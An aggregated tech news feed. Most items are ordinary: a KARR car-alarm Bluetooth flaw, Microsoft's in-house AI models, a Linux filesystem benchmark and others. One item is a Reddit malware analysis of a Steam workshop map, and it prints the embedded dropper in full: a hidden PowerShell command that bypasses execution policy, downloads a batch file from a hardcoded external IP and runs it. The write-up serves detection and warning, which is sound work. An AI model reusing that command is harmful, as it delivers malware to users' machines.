Wenn es langsam wieder kälter wird, wünscht man sich oft nichts sehnlicher, als seine Hände etwas schneller aufwärmen zu können. Das geht natürlich auch mit Handschuhen oder einer Tasse Tee, doch diese Handwärmer für 20 Euro sind nicht nur wiederaufladbar, sondern halten Ihre Finger mit einer einzigen Ladung auch bis zu 24 Stunden lang warm.



Die beiden Gadgets verfügen über einen Temperatursensor-Chip, mit dem Sie eine von drei Temperaturen für eine präzise Steuerung auswählen können. Außerdem stehen verschiedene Farben zur Auswahl, wodurch sie sich auch bestens als Geschenk eignen.




2.2 Million Vehicles Exposed to KARR Bluetooth Security Flaw
Fri, 24 Jul 2026 09:54:05 +0200
Millions of drivers with a dealer-installed KARR Security System are being urged to update their KARR alarm using an iPhone or Android device after researchers uncovered a Bluetooth vulnerability that could allow nearby attackers to unlock or immobilize affected vehicles.  

The flaw impacts more than 2.2 million vehicles equipped with the aftermarket security system, but it does not affect factory-installed vehicle software, Apple CarPlay or Apple's iPhone platform. 
KARR Security System Vulnerability Affects Dealer-installed Hardware 
The KARR Security System is installed by dealerships to secure vehicles on their lots. In many cases, the hardware remains connected even after buyers decline the paid KARR alarm service. Because it is third-party equipment, automakers cannot deliver fixes through their standard software update process. 

Researchers from the University of California, San Diego found that attackers within Bluetooth range could lock or unlock vehicles, disable alarms, activate horns, flash lights, or prevent parked vehicles from starting. However, they confirmed the flaw cannot remotely start a vehicle or control it while driving. 
iPhone App Update Fixes KARR Alarm Flaw 
Acrisure Protection Group, which sells the KARR Security System, released a firmware update on July 20 after researchers privately disclosed the issue in January 2025. Owners using the KARR Security app on an iPhone should receive an update notification. Others must download the app, connect it to the KARR alarm, then navigate to "Customer Service" and "Firmware Update."

The patch was released before presentations scheduled for DEF CON on August 9 in Las Vegas and the USENIX Security Symposium on August 12 in Baltimore.
Hidden KARR Security System Complicates Updates 
Researchers estimate at least half of affected owners never requested the KARR Security System. Dealerships often left deactivated hardware installed, yet researchers found these units continued broadcasting Bluetooth signals while vehicles were running and for up to 10 minutes after being switched off.

Owners can identify the system by checking for a KARR or "SWDS" sticker on the driver's window or a blinking button beneath the dashboard. Most affected vehicles were purchased from Honda, Toyota, Mazda, Ford and Jeep dealerships in Southern California between 2017 and July 21, although impacted vehicles were also identified elsewhere.
Shared Bluetooth Key Exposes KARR Alarm Devices
Researchers discovered a universal authentication key embedded in the official smartphone app while reverse engineering Bluetooth communications. Using a proof-of-concept Android app, they unlocked vehicles, disabled KARR alarm functions, and triggered horns and lights.

Although the flaw alone cannot steal a vehicle, researchers said it could provide quiet access before a commercially available locksmith tool creates a working key. Acrisure described the attack as "highly complex" and said the real-world risk is low. Neither UC San Diego nor Wired found evidence of criminals exploiting the vulnerability.
Privacy Concerns and Recommended Action
Researchers also warned that Bluetooth signals from the KARR Security System could reveal vehicle locations. Using the WiGLE wireless database, they estimated at least 2.2 million Bluetooth-enabled systems had been deployed and detected 97 KARR-equipped vehicles during a 20-minute drive near the UC San Diego campus. 

Drivers should confirm whether their vehicle contains a KARR Security System, install the latest firmware using the iPhone or Android app, and contact their dealership or KARR support if they cannot complete the update. 


Copilot-Taste deaktivieren: Microsoft lenkt offenbar ein
Fri, 24 Jul 2026 07:47:13 +0200

Viele neue Windows-Computer und Tastaturen kommen mit einer Copilot-Taste. Die kontroversen Diskussionen darüber begannen mit deren Einführung vor mittlerweile zweieinhalb Jahren. Jetzt gibt sich Microsoft offenbar einen Ruck und erlaubt die komplette Stilllegung dieser Taste. Bis es soweit ist, könnte es aber noch etwas dauern. Kurzer Rückblick: In seinem Wahn – anders lässt es sich […]
Der Beitrag Copilot-Taste deaktivieren: Microsoft lenkt offenbar ein erschien zuerst auf Dr. Windows.


Ransomware gangs go after EMEA healthcare’s supply chain
Fri, 24 Jul 2026 07:41:57 +0200
A ransomware attack against a hospital makes headlines, while attacks on the rest of the ecosystem around it tend to stay quiet despite doing damage that can be just as bad. Flare researcher Assaf Morag analyzed ransomware leak-site activity tied to healthcare organizations in the EMEA region between 2024 and 2026, and found that ransomware groups are going after the entire healthcare supply chain. The dataset covers hospitals and clinics, telemedicine providers, diagnostic laboratories, pharmacies, … More →
The post Ransomware gangs go after EMEA healthcare’s supply chain appeared first on Help Net Security.


How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing
Fri, 24 Jul 2026 07:36:15 +0200
In this tutorial, we build a complete workflow for running Baidu’s Unlimited-OCR model on document images and multi-page PDFs. From configuring the GPU environment to comparing high-detail tiled Gundam inference and faster Base modes, you'll learn how to process dense layouts, tables, and cross-page content in a reproducible, end-to-end pipeline.
The post How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing appeared first on MarkTechPost.


Wende bei Intel: Künstliche Intelligenz sorgt für schnellstes Wachstum seit Jahren
Fri, 24 Jul 2026 06:59:35 +0200

    Intel kämpfte seit Jahren mit Problemen. Doch inzwischen schlägt die rasende Chip-Nachfrage im KI-Boom auch auf das Geschäft des Branchenpioniers durch.

Tags: #Intel | #Künstliche Intelligenz


Hyundai, Kia und Genesis verkaufen weniger Autos
Fri, 24 Jul 2026 06:20:36 +0200

Die Hyundai Motor Group hat die Zahlen für das zweite Quartal 2026 veröffentlicht und wirbt darin mit dem bisher besten Umsatz in einem zweiten Quartal, den die Gruppe, zu der …


Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI
Fri, 24 Jul 2026 02:50:17 +0200
Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.
The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.
"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.
How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve
The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.
The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."
MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.
Microsoft's production metrics show in-house models cutting GPU costs by up to 89%
The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 
Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.
On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.
Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.
Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel
In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.
The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.
Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.
That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.
Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship
Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."
Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?
Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 
“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”
Developers cheer cheaper task-specific models while skeptics question Microsoft's track record
The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."
Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."
The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.
But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.
Why Microsoft is turning its internal AI playbook into an Azure product
The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.
The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."
Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.


Niri could redefine tiling window management
Fri, 24 Jul 2026 00:45:49 +0200
I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those. 
 Then there is Niri. For anyone who may not know, Niri is a Wayland compositor that takes a new approach to window tiling. By default, it opens windows at 50% of your screen width and tiles them infinitely to the right, allowing you to scroll focus on them by pressing super + arrow keys. Of course you can stack them, rearrange them, toggle full screen, force focused window to take up all remaining space on screen, and it boasts vertical workspaces. 
 I have been using Niri with Dank Material Shell (DMS) for the last month and now I am not sure I could ever go back to the traditional master + stacked window tiling philosophy. I just tried and it feels awkward, limiting, and cluttered. It even beats more full featured desktop environment tiling options in Gnome and KDE in my opinion because I don’t have to alt + tab to find the window I want to focus on. 
 If you haven’t given it a try, you should. I didn’t think I would like it very much, but I got used to it after a few days, kept it for a couple of weeks, and now it has become my favorite way to work. 
 
   submitted by    /u/kylerjohnsondev  
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Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)
Fri, 24 Jul 2026 00:21:11 +0200
Table of Contents
  Intro
 Initial Symptom
 First Look at the Workshop Files
 Verifying the Asset Files
 AssetRegistry.bin Reveals the First Clue
 Opening the UE5 Asset Container
 Reverse Engineering the Blueprint
 Extracting the Embedded Payload
 Analyzing the Dropper Script
 Confirming Execution on an Affected PC
 Did the Second Stage Execute?
 Analysis Summary
 Limitations & Unknowns
 IOCs
 Final verdict
 
 A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.
 What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.
 I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.
 https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51
 1): The Initial Symptom
 A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.
 2): First Look at the Workshop Files
 The workshop content is located here:
 Steam\steamapps\workshop\content\4704690\3765145606\ 
 At first glance, there’s nothing suspicious in the folder. The contents are:
 AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc 
 There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.
 This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.
 3): Verifying the Asset Files
 File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.
 The results:
  utoc starts with -==--==--==--==-, which is the real IoStore magic
 pak has the correct 0x5A6F12E1 footer magic
 no MZ/PE, ELF or ZIP headers anywhere in any file
 
 The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.
 4): AssetRegistry.bin Reveals the First Clue
 This is the detail that stands out most from the entire investigation.
 AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.
 However, one Blueprint actor immediately stands out:
 /Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 
 Its class resolves as:
 BP_AmbientController_C 
 Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.
 In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.
 That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.
 The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.
 5): Opening the UE5 Asset Container
 The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:
 chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed 
 No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.
 The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.
 Searching across the extracted asset data revealed only a small number of notable references:
 ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 
 These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.
 6): Reverse Engineering the Blueprint
 The complete function chain is:
 ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile 
 Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.
 Tracing the Blueprint bytecode shows the path construction:
 dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat" 
 ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.
 7): Extracting the Embedded Payload
 A single embedded string inside the Blueprint contains the following data:
 {"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"} 
 The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.
 This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.
 The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.
 8): Analyzing the Dropper Script
 The extracted script is also human-readable:
 if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) 
 The script uses a simple two-stage execution flow.
 On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.
 On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.
 The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.
 The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.
 9): Confirming Execution on an Affected PC
 On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.
 This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.
 https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32
 10): Did the second stage execute?
 The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:
 https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70
 The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.
 On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.
 The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).
 This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.
 https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026
 11): Analysis Summary
 Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:
  The Workshop uploader account appears to have been created only about one week before the item was published
 The Workshop map currently does not allow users to leave comments or ratings
 The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
 The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
 Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
 The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
 That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.
 
 What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.
 12): Limitations & Unknowns
 What does steamb.bat do?
 Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.
 IOCs
 Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 
 Final Verdict
 Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.
 What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.
 I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.
 Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data
 Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.
 Cheers and stay safe!
 FeintBe
 
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I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts
Fri, 24 Jul 2026 00:13:06 +0200
Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.
 I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.
 The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.
 Hosted CI dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/
 Experimental real-hardware dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/
 Apache-2.0 licensed source and complete methodology:
 https://github.com/fenio/modern-fs-benchmark
 The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.
 Why I started this project
 Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.
 General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.
 I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.
 That means testing behavior such as:
 - Redundancy and degraded operation
 - Snapshot aging, scaling and reclamation
 - Compression and encryption
 - Reflinks and clone divergence
 - Fsync tail latency and responsiveness under load
 - Rebuild and scrub behavior
 - Near-full and hard-ENOSPC behavior
 - Data integrity and recovery from corruption
 Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.
 Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.
 Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.
 The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.
 An important limitation
 The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.
 The hosted runs are primarily useful for:
 - Correctness and integrity outcomes
 - Comparisons within the same job
 - Large behavioral differences
 - Snapshot-aging and near-full shapes
 - Trends across repeated runs
 Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.
 I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.
 The real-hardware experiment
 Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.
 The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.
 During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.
 The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.
 I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.
 Where I would like to take it
 Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.
 I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.
 That could support scenarios such as:
 - HDD, SSD and NVMe baselines using identical workloads
 - bcachefs foreground and background targets
 - ZFS HDD data vdevs with SSD special vdevs
 - Separate ZFS L2ARC and SLOG experiments
 - LVM dm-cache in writeback and writethrough modes
 - Metadata and small-block placement on faster media
 - Foreground latency during background migration
 - Contention between fast and slow storage tiers
 - Degraded operation and rebuild under application load
 - Performance before, during and after promoting or evacuating a storage tier
 These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.
 I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.
 For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.
 I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.
 I would appreciate technical feedback:
 - Which current tests are misleading or unfair?
 - Which failure scenarios are missing?
 - Which mixed-media topologies would be most useful?
 - Which additional filesystems or layered stacks should be included?
 - Which results deserve deeper investigation?
 The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.
 
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Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start
Thu, 23 Jul 2026 20:48:22 +0200
